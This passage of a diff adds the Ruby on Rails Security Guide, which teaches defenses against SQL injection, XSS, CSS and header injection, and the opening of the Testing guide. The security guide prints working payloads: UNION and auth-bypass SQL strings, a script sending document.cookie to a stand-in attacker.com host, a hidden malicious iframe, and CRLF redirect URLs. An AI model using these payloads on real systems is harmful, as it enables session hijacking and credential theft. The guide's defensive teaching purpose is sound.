+* Include more than one honeypot field of all types, including submission buttons
+
+Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _negative CAPTCHAs might not be good to protect login forms_.
+
+### Logging
+
+WARNING: _Tell Rails not to put passwords in the log files._
+
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _filter certain request parameters from your log files_ by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
+
+```ruby
+config.filter_parameters << :password
+```
+
+NOTE: Provided parameters will be filtered out by partial matching regular expression. Rails adds default `:password` in the appropriate initializer (`initializers/filter_parameter_logging.rb`) and cares about typical application parameters `password` and `password_confirmation`.
+
+### Good Passwords
+
+INFO: _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
+
+Bruce Schneier, a security technologist, [has analyzed](http://www.schneier.com/blog/archives/2006/12/realworld_passw.html) 34,000 real-world user names and passwords from the MySpace phishing attack mentioned [below](#examples-from-the-underground). It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
+
+It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
+
+A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+
+### Regular Expressions
+
+INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
+
+Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
+
+```ruby
+  /^https?:\/\/[^\n]+$/i
+```
+
+This may work fine in some languages. However, _in Ruby ^ and $ match the **line** beginning and line end_. And thus a URL like this passes the filter without problems:
+
+```
+javascript:exploit_code();/*
+http://hi.com
+*/
+```
+
+This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
+
+```ruby
+  link_to "Homepage", @user.homepage
+```
+
+The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.
+
+To fix the regular expression, \A and \z should be used instead of ^ and $, like so:
+
+```ruby
+  /\Ahttps?:\/\/[^\n]+\z/i
+```
+
+Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:
+
+```ruby
+  # content should include a line "Meanwhile" anywhere in the string
+  validates :content, format: { with: /^Meanwhile$/, multiline: true }
+```
+
+Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the **line** beginning and line end in Ruby, and not the beginning and end of a string.
+
+### Privilege Escalation
+
+WARNING: _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
+
+The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
+
+```ruby
+@project = Project.find(params[:id])
+```
+
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_:
+
+```ruby
+@project = @current_user.projects.find(params[:id])
+```
+
+Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
+
+Don't be fooled by security by obfuscation and JavaScript security. Developer tools let you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Firebug addon for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
+
+Injection
+---------
+
+INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
+
+Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
+
+### Whitelists versus Blacklists
+
+NOTE: _When sanitizing, protecting or verifying something, prefer whitelists over blacklists._
+
+A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
+
+* Use before_action except: [...] instead of only: [...] for security-related actions. This way you don't forget to enable security checks for newly added actions.
+* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
+* Don't try to correct user input by blacklists:
+    * This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
+    * But reject malformed input
+
+Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
+
+### SQL Injection
+
+INFO: _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
+
+#### Introduction
+
+SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
+
+```ruby
+Project.where("name = '#{params[:name]}'")
+```
+
+This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+
+```sql
+SELECT * FROM projects WHERE name = '' OR 1 --'
+```
+
+The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
+
+#### Bypassing Authorization
+
+Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+
+```ruby
+User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
+```
+
+If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
+
+```sql
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+```
+
+This will simply find the first record in the database, and grants access to this user.
+
+#### Unauthorized Reading
+
+The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
+
+```ruby
+Project.where("name = '#{params[:name]}'")
+```
+
+And now let's inject another query using the UNION statement:
+
+```
+') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+```
+
+This will result in the following SQL query:
+
+```sql
+SELECT * FROM projects WHERE (name = '') UNION
+  SELECT id,login AS name,password AS description,1,1,1 FROM users --'
+```
+
+The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
+
+Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails [to at least 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/).
+
+#### Countermeasures
+
+Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. *Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*.
+
+Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
+
+```ruby
+Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
+```
+
+As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
+
+```ruby
+Model.where(login: entered_user_name, password: entered_password).first
+```
+
+The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. _Make it a habit to think about the security consequences when using an external string in SQL_.
+
+### Cross-Site Scripting (XSS)
+
+INFO: _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
+
+#### Entry Points
+
+An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
+
+The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements.
+
+XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
+
+During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
+
+#### HTML/JavaScript Injection
+
+The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _Escaping user input is essential_.
+
+Here is the most straightforward test to check for XSS:
+
+```html
+<script>alert('Hello');</script>
+```
+
+This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
+
+```html
+<img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')">
+```
+
+##### Cookie Theft
+
+These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
+
+```
+<script>document.write(document.cookie);</script>
+```
+
+For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
+
+```html
+<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+```
+
+The log files on www.attacker.com will read like this:
+
+```
+GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+```
+
+You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that document.cookie may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4 and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HttpOnly), though.
+
+##### Defacement
+
+With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
+
+```html
+<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
+```
+
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.
+
+A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
+
+Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
+
+```
+http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+  <script src=http://www.securitylab.ru/test/sc.js></script><!--
+```
+
+##### Countermeasures
+
+_It is very important to filter malicious input, but it is also important to escape the output of the web application_.
+
+Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
+
+Imagine a blacklist deletes "script" from the user input. Now the attacker injects "&lt;scrscriptipt&gt;", and after the filter, "&lt;script&gt;" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
+
+```ruby
+strip_tags("some<<b>script>alert('hello')<</b>/script>")
+```
+
+This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why a whitelist approach is better, using the updated Rails 2 method sanitize():
+
+```ruby
+tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, tags: tags, attributes: %w(href title))
+```
+
+This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
+
+As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, and &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt;`, and `&gt;`).
+
+##### Obfuscation and Encoding Injection
+
+Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
+
+```
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
+  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
+```
+
+This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
+
+#### Examples from the Underground
+
+_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
+
+The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! Mail [worm](http://groovin.net/stuff/yammer.txt). It appeared on June 11, 2006 and was the first webmail interface worm:
+
+```
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+  target=""onload="var http_request = false;    var Email = '';
+  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
+```
+
+The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+
+Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
+
+In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+
+### CSS Injection
+
+INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
+
+CSS Injection is explained best by the well-known [MySpace Samy worm](https://samy.pl/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm.
+
+MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript into CSS like this:
+
+```html
+<div style="background:url('javascript:alert(1)')">
+```
+
+So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
+
+```html
+<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
+```
+
+The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":
+
+```
+alert(eval('document.body.inne' + 'rHTML'));
+```
+
+The next problem was MySpace filtering the word "javascript", so the author used "java&lt;NEWLINE&gt;script" to get around this:
+
+```html
+<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
+```
+
+Another problem for the worm's author was the [CSRF security tokens](#cross-site-request-forgery-csrf). Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
+
+In the end, he got a 4 KB worm, which he injected into his profile page.
+
+The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+
+#### Countermeasures
+
+This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
+
+### Textile Injection
+
+If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](http://redcloth.org/) is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
+
+For example, RedCloth translates `_test_` to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the [all-new version 4](http://www.redcloth.org) that removed serious bugs. However, even that version has [some security bugs](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), so the countermeasures still apply. Here is an example for version 3.0.4:
+
+```ruby
+RedCloth.new('<script>alert(1)</script>').to_html
+# => "<script>alert(1)</script>"
+```
+
+Use the :filter_html option to remove HTML which was not created by the Textile processor.
+
+```ruby
+RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+# => "alert(1)"
+```
+
+However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
+
+```ruby
+RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+# => "<p><a href="javascript:alert(1)">hello</a></p>"
+```
+
+#### Countermeasures
+
+It is recommended to _use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
+
+### Ajax Injection
+
+NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
+
+If you use the [in_place_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+
+### Command Line Injection
+
+NOTE: _Use user-supplied command line parameters with caution._
+
+If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+
+A countermeasure is to _use the `system(command, parameters)` method which passes command line parameters safely_.
+
+```ruby
+system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files
+```
+
+
+### Header Injection
+
+WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
+
+HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
+
+Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:
+
+```ruby
+redirect_to params[:referer]
+```
+
+What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
+
+```
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+```
+
+And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
+
+```
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+```
+
+Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
+
+```
+HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+```
+
+So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
+
+#### Response Splitting
+
+If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
+
+```
+HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
+Keep-Alive: timeout=15, max=100         shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+```
+
+Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
+
+Unsafe Query Generation
+-----------------------
+
+Due to the way Active Record interprets parameters in combination with the way
+that Rack parses query parameters it was possible to issue unexpected database
+queries with `IS NULL` where clauses. As a response to that security issue
+([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ),
+[CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ)
+and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ))
+`deep_munge` method was introduced as a solution to keep Rails secure by default.
+
+Example of vulnerable code that could be used by attacker, if `deep_munge`
+wasn't performed is:
+
+```ruby
+unless params[:token].nil?
+  user = User.find_by_token(params[:token])
+  user.reset_password!
+end
+```
+
+When `params[:token]` is one of: `[nil]`, `[nil, nil, ...]` or
+`['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or
+`IN ('foo', NULL)` where clauses still will be added to the SQL query.
+
+To keep Rails secure by default, `deep_munge` replaces some of the values with
+`nil`. Below table shows what the parameters look like based on `JSON` sent in
+request:
+
+| JSON                              | Parameters               |
+|-----------------------------------|--------------------------|
+| `{ "person": null }`              | `{ :person => nil }`     |
+| `{ "person": [] }`                | `{ :person => [] }`     |
+| `{ "person": [null] }`            | `{ :person => [] }`     |
+| `{ "person": [null, null, ...] }` | `{ :person => [] }`     |
+| `{ "person": ["foo", null] }`     | `{ :person => ["foo"] }` |
+
+It is possible to return to old behavior and disable `deep_munge` configuring
+your application if you are aware of the risk and know how to handle it:
+
+```ruby
+config.action_dispatch.perform_deep_munge = false
+```
+
+Default Headers
+---------------
+
+Every HTTP response from your Rails application receives the following default security headers.
+
+```ruby
+config.action_dispatch.default_headers = {
+  'X-Frame-Options' => 'SAMEORIGIN',
+  'X-XSS-Protection' => '1; mode=block',
+  'X-Content-Type-Options' => 'nosniff'
+}
+```
+
+You can configure default headers in `config/application.rb`.
+
+```ruby
+config.action_dispatch.default_headers = {
+  'Header-Name' => 'Header-Value',
+  'X-Frame-Options' => 'DENY'
+}
+```
+
+Or you can remove them.
+
+```ruby
+config.action_dispatch.default_headers.clear
+```
+
+Here is a list of common headers:
+
+* **X-Frame-Options:** _'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.
+* **X-XSS-Protection:** _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters)
+* **X-Content-Type-Options:** _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
+* **X-Content-Security-Policy:** [A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html)
+* **Access-Control-Allow-Origin:** Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
+* **Strict-Transport-Security:** [Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
+
+Environmental Security
+----------------------
+
+It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
+
+### Custom secrets
+
+Rails generates a `config/secrets.yml`. By default, this file contains the
+application's `secret_key_base`, but it could also be used to store other
+secrets such as access keys for external APIs.
+
+The secrets added to this file are accessible via `Rails.application.secrets`.
+For example, with the following `config/secrets.yml`:
+
+    development:
+      secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+      some_api_key: SOMEKEY
+
+`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development
+environment.
+
+If you want an exception to be raised when some key is blank, use the bang
+version:
+
+```ruby
+Rails.application.secrets.some_api_key! # => raises KeyError: key not found: :some_api_key
+```
+
+Additional Resources
+--------------------
+
+The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
+
+* Subscribe to the Rails security [mailing list.](http://groups.google.com/group/rubyonrails-security)
+* [Brakeman - Rails Security Scanner](http://brakemanscanner.org/) - To perform static security analysis for Rails applications.
+* [Keep up to date on the other application layers.](http://secunia.com/) (they have a weekly newsletter, too)
+* A [good security blog](https://www.owasp.org) including the [Cross-Site scripting Cheat Sheet.](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)
diff --git a/guides/source/testing.md b/guides/source/testing.md
new file mode 100644
index 0000000000..f71e963716
--- /dev/null
+++ b/guides/source/testing.md
@@ -0,0 +1,1564 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+A Guide to Testing Rails Applications
+=====================================
+
+This guide covers built-in mechanisms in Rails for testing your application.
+
+After reading this guide, you will know:
+
+* Rails testing terminology.
+* How to write unit, functional, integration, and system tests for your application.
+* Other popular testing approaches and plugins.
+
+--------------------------------------------------------------------------------
+
+Why Write Tests for your Rails Applications?
+--------------------------------------------
+
+Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers.
+
+By running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+
+Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+
+Introduction to Testing
+-----------------------
+
+Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany.
+
+### Rails Sets up for Testing from the Word Go
+
+Rails creates a `test` directory for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this directory then you shall see:
+
+```bash
+$ ls -F test
+controllers/           helpers/               mailers/               system/                test_helper.rb
+fixtures/              integration/           models/                application_system_test_case.rb
+```
+
+The `helpers`, `mailers`, and `models` directories are meant to hold tests for view helpers, mailers, and models, respectively. The `controllers` directory is meant to hold tests for controllers, routes, and views. The `integration` directory is meant to hold tests for interactions between controllers.
+
+The system test directory holds system tests, which are used for full browser
+testing of your application. System tests allow you to test your application
+the way your users experience it and help you test your JavaScript as well.
+System tests inherit from Capybara and perform in browser tests for your
+application.
+
+Fixtures are a way of organizing test data; they reside in the `fixtures` directory.
+
+A `jobs` directory will also be created when an associated test is first generated.
+
+The `test_helper.rb` file holds the default configuration for your tests.
+
+The `application_system_test_case.rb` holds the default configuration for your system
+tests.
+
+
+### The Test Environment
+
+By default, every Rails application has three environments: development, test, and production.
+
+Each environment's configuration can be modified similarly. In this case, we can modify our test environment by changing the options found in `config/environments/test.rb`.
+
+NOTE: Your tests are run under `RAILS_ENV=test`.
+
+### Rails meets Minitest
+
+If you remember, we used the `rails generate model` command in the
